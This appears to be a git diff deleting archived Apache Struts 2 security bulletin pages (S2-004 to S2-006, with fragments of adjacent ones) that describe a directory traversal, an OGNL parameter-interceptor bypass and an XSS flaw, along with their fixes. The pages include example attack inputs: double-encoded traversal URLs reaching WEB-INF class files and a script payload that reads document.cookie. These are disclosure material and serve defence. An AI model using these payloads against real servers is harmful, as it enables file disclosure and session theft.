-<p>As of XWork 2.0.6, being part of the Struts 2.0.12 release, the ParametersInterceptor applies stack changes to a copy of the original value stack, for which context parameters which might be subject to manipulations are cleared beforehand.</p>
-
-<p>You can either obtain a copy of the released XWork 2.0.6 jar as a drop in replacement for the XWork 2.0.4 / 2.0.5 jar used in Struts 2.0.9 and above, or download a full release of <a shape="rect" class="external-link" href="http://people.apache.org/builds/struts/2.0.12/">Struts 2.0.12</a>, which contains the corrected XWork library.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-004.html b/content/docs/s2-004.html
deleted file mode 100644
index 7fd479e..0000000
--- a/content/docs/s2-004.html
+++ /dev/null
@@ -1,162 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-004</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-004.html">S2-004</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-004</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=99572">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=99572">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=99572">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=99572">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=99572">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=99572">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-004-Summary">Summary</h2>
-<p>
-</p><p>Directory traversal vulnerability while serving static content</p>
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Who should read this </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> All Struts 2 developers </p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Impact of vulnerability </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> Read access to server filesystem resources (under certain application server environments) </p></td></tr><tr> [...]
-
-
-<h2 id="S2-004-Problem">Problem</h2>
-
-<p>The Struts2 dispatcher logic by design allows to serve certain static resources found in the classpath of the web application for request URIs having a context relative path starting with "/struts/".</p>
-
-<p>FilterDispatcher (in 2.0) and DefaultStaticContentLoader (in 2.1) have a security vulnerability that allows an attacker to traverse the directory structure and download files outside the "static" content folder, using double-encoded urls and relative paths, like:</p>
-
-<p><a shape="rect" class="external-link" href="http://localhost:8080/struts2-blank-2.0.11.1/struts" rel="nofollow">http://localhost:8080/struts2-blank-2.0.11.1/struts</a>..</p>
-
-<p><a shape="rect" class="external-link" href="http://localhost:8080/struts2-blank-2.0.11.1/struts/..%252f" rel="nofollow">http://localhost:8080/struts2-blank-2.0.11.1/struts/..%252f</a></p>
-
-<p><a shape="rect" class="external-link" href="http://exampletomcat.com:8080/struts2-blank-2.0.11.1/struts/..%252f..%252f..%252fWEB-INF/classess/example/Login.class/" rel="nofollow">http://exampletomcat.com:8080/struts2-blank-2.0.11.1/struts/..%252f..%252f..%252fWEB-INF/classess/example/Login.class/</a></p>
-
-<p>Although not all container are vulnerable to this, the Struts2 dispatcher logic has to prevent access to static content outside the static resource folders.</p>
-
-<h2 id="S2-004-Solution">Solution</h2>
-
-<p>As of Struts 2.0.12, the dispatcher logic was improved to correctly decode and normalize the request path before checking if static content serving applies for a given request.</p>
-
-<p>You can obtain <a shape="rect" class="external-link" href="http://people.apache.org/builds/struts/2.0.12/">Struts 2.0.12</a> as a drop in replacement for Struts 2.0.11.2 to get the fixed Struts 2 core library.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-005.html b/content/docs/s2-005.html
deleted file mode 100644
index 24e1ed5..0000000
--- a/content/docs/s2-005.html
+++ /dev/null
@@ -1,189 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-005</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-005.html">S2-005</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-005</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=23334978">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=23334978">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=23334978">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=23334978">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=23334978">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=23334978">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-005-Summary">Summary</h2>
-
-<p>
-</p><p>XWork ParameterInterceptors bypass allows remote command execution</p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Impact of vulnerability</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>Remote server context manipulation</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Maximum secu [...]
-
-
-<h2 id="S2-005-Problem">Problem</h2>
-
-<p>OGNL provides, among other features, extensive expression evaluation capabilities (<a shape="rect" class="external-link" href="http://www.ognl.org/2.6.9/Documentation/html/LanguageGuide/expressionEvaluation.html" rel="nofollow">http://www.ognl.org/2.6.9/Documentation/html/LanguageGuide/expressionEvaluation.html</a>). The vulnerability allows a malicious user to bypass the '#'-usage protection built into the ParametersInterceptor, thus being able to manipulate server side context objec [...]
-
-<p>This behavior was already addressed in <a shape="rect" href="s2-003.html">S2-003</a>, but it turned out that the resulting fix based on whitelisting acceptable parameter names closed the vulnerability only partially. At least the following context objects are still accessible:</p>
-<ul><li>#context - OgnlContext, the one guarding method execution based on 'xwork.MethodAccessor.denyMethodExecution' property value.</li><li>#_memberAccess - SecurityMemberAccess, whose 'allowStaticAccess' field prevented static method execution.</li><li>#root</li><li>#this</li><li>#_typeResolver</li><li>#_classResolver</li><li>#_traceEvaluations</li><li>#_lastEvaluation</li><li>#_keepLastEvaluation</li></ul>
-
-
-<h2 id="S2-005-Solution">Solution</h2>
-
-<p>As of XWork 2.2.1, now being an integral part of the Struts 2.2.1 release, the ParameterInterceptor was changed to provide a very strict whitelist mechanism for acceptable, non malicious parameter names. Therefore parameters other than simple property navigation paths will be ignored.</p>
-
-<div class="confluence-information-macro confluence-information-macro-warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p><strong>It is strongly recommended to upgrade to <a shape="rect" class="external-link" href="http://struts.apache.org/download.cgi#struts221">Struts 2.2.1</a>, which contains the corrected XWork library.</strong></p></div></div>
-
-<p>In case an upgrade isn't possible in a particular environment, there is a configuration based mitigation workaround:</p>
-
-<h3 id="S2-005-PossibleMitigationWorkaround:ConfigureParametersIntercptorinstruts.xmltoExcludeMaliciousParameters">Possible Mitigation Workaround: Configure ParametersIntercptor in struts.xml to Exclude Malicious Parameters</h3>
-
-<p>The following additional interceptor-ref configuration, suggested by <a shape="rect" class="external-link" href="http://www.blogger.com/profile/12586406716617551079" rel="nofollow">John Wilander</a>, should mitigate the problem when applied correctly:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;interceptor-ref name="params"&gt;
-    &lt;param name="excludeParams"&gt;dojo\..*,^struts\..*,.*\\.*,.*\(.*,.*\).*,.*@.*&lt;/param&gt;
-&lt;/interceptor-ref&gt;
-</pre>
-</div></div>
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>For this configuration to work correctly, it has to be applied to <strong>any params interceptor ref in any stack an application is using</strong>.<br clear="none">
-E.g., if an application is configured to use defaultStack as well as paramsPrepareParamsStack, you should copy both stack definitions from struts-default.xml to the application's struts.xml config file and apply the described excludeParams configuration for each params interceptor ref, that is <strong>once for defaultStack and twice for paramsPrepareParamsStack</strong></p></div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-006.html b/content/docs/s2-006.html
deleted file mode 100644
index 32d0fa5..0000000
--- a/content/docs/s2-006.html
+++ /dev/null
@@ -1,198 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-006</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-006.html">S2-006</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-006</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=26119667">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=26119667">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=26119667">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=26119667">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=26119667">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=26119667">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-006-Summary">Summary</h2>
-
-<p>
-</p><p>Multiple Cross-Site Scripting (XSS) in XWork generated error pages</p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Impact of vulnerability</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>Injection of malicious client side code</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Maximum [...]
-
-
-<h2 id="S2-006-Problem">Problem</h2>
-
-<p>By default, XWork doesn't escape action's names in automatically generated error page, allowing for a successful XSS attack. When Dynamic Method Invocation (DMI) is enabled, the action name is generated dynamically base on request parameters. This allows to call non-existing page and method to produce error page with injected code as below</p>
-
-<p><a shape="rect" class="external-link" href="http://localhost:8080/struts2-blank/home.action!login:cantLogin" rel="nofollow">http://localhost:8080/struts2-blank/home.action!login:cantLogin</a>&lt;script&gt;alert(document.cookie)&lt;/script&gt;=some_value</p>
-
-<p>A more detailed description is found in the referenced JIRA ticket.</p>
-
-<h2 id="S2-006-Solution">Solution</h2>
-
-<p>As of <a shape="rect" class="external-link" href="http://struts.apache.org/download.cgi#struts223">Struts 2.2.3</a> the action names are escaped when automatically generated error pages are rendered.</p>
-
-<p>When staying with earlier releases, developers should either</p>
-
-<ul><li>Disable DMI support in struts.xml
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-    &lt;constant name="struts.enable.DynamicMethodInvocation" value="false" /&gt;
-</pre>
-</div></div></li></ul>
-
-
-<p>or </p>
-
-<ul><li>Define error page in struts.xml (as below)
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-  &lt;global-results&gt; 
-    &lt;result name="error"&gt;/error_page.jsp&lt;/result&gt;
-  &lt;/global-results&gt;
-
-  &lt;global-exception-mappings&gt;
-    &lt;exception-mapping exception="java.lang.Exception" result="error"/&gt;
-  &lt;/global-exception-mappings&gt;
-</pre>
-</div></div></li></ul>
-
-
-<p>You can obtain <a shape="rect" class="external-link" href="http://struts.apache.org/download.cgi#struts223">Struts 2.2.3</a> here.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-007.html b/content/docs/s2-007.html
deleted file mode 100644
index ed0d569..0000000
--- a/content/docs/s2-007.html
+++ /dev/null
@@ -1,153 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-007</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-007.html">S2-007</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-007</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27826393">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27826393">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
